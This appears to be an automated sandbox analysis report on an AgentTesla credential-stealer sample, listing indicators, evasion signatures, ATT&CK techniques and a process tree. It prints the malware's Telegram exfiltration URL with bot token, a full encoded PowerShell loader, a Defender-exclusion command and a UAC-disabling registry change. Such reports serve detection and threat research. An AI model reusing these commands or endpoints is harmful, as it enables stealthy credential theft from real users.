agenttesla | b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 02:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe
Size

986KB
MD5

4d69a6b1a835e13d9399fc7a3fcd1c7f
SHA1

dabeb84fb579d1b1fd8efffd3f75ec5e5d5c6297
SHA256

b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212
SHA512

01900903b402511922c3d3a3eac3b217f49c19e6f245ac250f01614cc3b7f89975f412a96c648c48c8b1641cf5af61707d0261f4656ce48f3a8739436102d59b
SSDEEP

12288:67t9TgXF/OHYMhHQy9J9cv2N3TApMDcMs9cs46uxDscaK7JGfhJef98WXRAEz1T+:67btH9iyd90pMDRRuvQJKQfGwaERT5E

Score

10^/10

agenttesla evasion execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

https://api.telegram.org/bot6471994916:AAHkdjLXxo_sOhOEXeFpgGf4NrHiZGX6HD8/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Windows security bypass 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe = "0"	powershell.exe

Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2360-29-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2360-29-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables packed with or use KoiVM 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2460-16-0x000002777E140000-0x000002777E1D4000-memory.dmp	INDICATOR_EXE_Packed_KoiVM

Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2360-29-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2360-29-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2360-29-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2360-29-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

powershell.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

540 powershell.exe
2460 powershell.exe
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

powershell.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe

pid	process
540	powershell.exe
2460	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	powershell.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

33 api.ipify.org
34 api.ipify.org

flow	ioc
33	api.ipify.org
34	api.ipify.org

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	powershell.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2460 set thread context of 2360 2460 powershell.exe msbuild.exe

description	pid	process	target process
PID 2460 set thread context of 2360	2460	powershell.exe	msbuild.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

Processes:

powershell.exepowershell.exemsbuild.exe

pid	process
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
540	powershell.exe
540	powershell.exe
540	powershell.exe
2360	msbuild.exe
2360	msbuild.exe
2360	msbuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exemsbuild.exe

description pid process

Token: SeDebugPrivilege 2460 powershell.exe
Token: SeDebugPrivilege 540 powershell.exe
Token: SeDebugPrivilege 2360 msbuild.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msbuild.exe

pid process

2360 msbuild.exe

description	pid	process
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	2360	msbuild.exe

pid	process
2360	msbuild.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exepowershell.exe

description	pid	process	target process
PID 4808 wrote to memory of 2460	4808	b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe	powershell.exe
PID 4808 wrote to memory of 2460	4808	b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe	powershell.exe
PID 2460 wrote to memory of 540	2460	powershell.exe	powershell.exe
PID 2460 wrote to memory of 540	2460	powershell.exe	powershell.exe
PID 2460 wrote to memory of 4480	2460	powershell.exe	jsc.exe
PID 2460 wrote to memory of 4480	2460	powershell.exe	jsc.exe
PID 2460 wrote to memory of 4480	2460	powershell.exe	jsc.exe
PID 2460 wrote to memory of 2360	2460	powershell.exe	msbuild.exe
PID 2460 wrote to memory of 2360	2460	powershell.exe	msbuild.exe
PID 2460 wrote to memory of 2360	2460	powershell.exe	msbuild.exe
PID 2460 wrote to memory of 2360	2460	powershell.exe	msbuild.exe
PID 2460 wrote to memory of 2360	2460	powershell.exe	msbuild.exe
PID 2460 wrote to memory of 2360	2460	powershell.exe	msbuild.exe
PID 2460 wrote to memory of 2360	2460	powershell.exe	msbuild.exe
PID 2460 wrote to memory of 2360	2460	powershell.exe	msbuild.exe
PID 2460 wrote to memory of 4548	2460	powershell.exe	msbuild.exe
PID 2460 wrote to memory of 4548	2460	powershell.exe	msbuild.exe
PID 2460 wrote to memory of 4548	2460	powershell.exe	msbuild.exe

C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe
"C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADYAOAAsACAAMAB4ADYANwAsACAAMAB4AEIARQAsACAAMAB4ADcAQQAsACAAMAB4ADIAMwAsACAAMAB4ADUAOQAsACAAMAB4ADAAMQAsACAAMAB4ADcAQgAsACAAMAB4ADEAOAAsACAAMAB4AEMANwAsACAAMAB4AEUANwAsACAAMAB4AEYANgAsACAAMAB4AEYAMgAsACAAMAB4ADUARAAsACAAMAB4ADEAMwAsACAAMAB4AEEAMgAsACAAMAB4AEMANwAsACAAMAB4ADQAMAAsACAAMAB4AEEARQAsACAAMAB4AEEANwAsACAAMAB4ADMAMwAsACAAMAB4AEQAQQAsACAAMAB4ADYAOAAsACAAMAB4ADAAOQAsACAAMAB4ADYANAAsACAAMAB4ADYANQAsACAAMAB4AEEAOAAsACAAMAB4ADAAQgAsACAAMAB4ADAAMgAsACAAMAB4ADAARQAsACAAMAB4ADQANAAsACAAMAB4ADYAQwApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA0ADUALAAgADAAeAA1AEUALAAgADAAeAA2ADEALAAgADAAeAA3ADQALAAgADAAeABBADgALAAgADAAeAA4AEMALAAgADAAeAAwADUALAAgADAAeAAzAEMALAAgADAAeAAzADYALAAgADAAeAAzADcALAAgADAAeABCAEMALAAgADAAeAAxADMALAAgADAAeAA4AEYALAAgADAAeABCADMALAAgADAAeAA2AEMALAAgADAAeAA4AEEAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
2⤵
- UAC bypass
- Windows security bypass
- Looks for VirtualBox Guest Additions in registry
- Command and Scripting Interpreter: PowerShell
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe" -Force
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:540

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
3⤵
PID:4480

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2360

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
3⤵
PID:4548

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z4wcmniu.ng3.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file-21021.putik
Filesize
33KB

MD5
7bcc1c9dcb3f70c39e7c0ba4af126a17

SHA1
8f03d5db806837d8c6d7d1de7288ab053c906bd0

SHA256
3c6163c8469b5df10422d7578e276b44cfb2b18e3c19cb09303dd1a4864435bf

SHA512
537ce66f91aeda2b66495857434900a2040008c466764ad50f07515c137f3a5502c2a079a8d72ae49651f238869ef55005a3229e226c141ba01713e39eac3d3a

Download Submit
memory/540-32-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp

Filesize
10.8MB

Download
memory/540-17-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp

Filesize
10.8MB

Download
memory/540-27-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp

Filesize
10.8MB

Download
memory/540-28-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp

Filesize
10.8MB

Download
memory/2360-33-0x00000000056C0000-0x0000000005C64000-memory.dmp

Filesize
5.6MB

Download
memory/2360-38-0x00000000067A0000-0x00000000067AA000-memory.dmp

Filesize
40KB

Download
memory/2360-37-0x0000000006610000-0x00000000066A2000-memory.dmp

Filesize
584KB

Download
memory/2360-36-0x0000000006520000-0x0000000006570000-memory.dmp

Filesize
320KB

Download
memory/2360-34-0x0000000005110000-0x0000000005176000-memory.dmp

Filesize
408KB

Download
memory/2360-29-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2460-16-0x000002777E140000-0x000002777E1D4000-memory.dmp

Filesize
592KB

Download
memory/2460-1-0x00007FFA95CA3000-0x00007FFA95CA5000-memory.dmp

Filesize
8KB

Download
memory/2460-12-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp

Filesize
10.8MB

Download
memory/2460-35-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp

Filesize
10.8MB

Download
memory/2460-15-0x000002777DC60000-0x000002777DC6C000-memory.dmp

Filesize
48KB

Download
memory/2460-7-0x000002777DC70000-0x000002777DC92000-memory.dmp

Filesize
136KB

Download
memory/2460-13-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp

Filesize
10.8MB

Download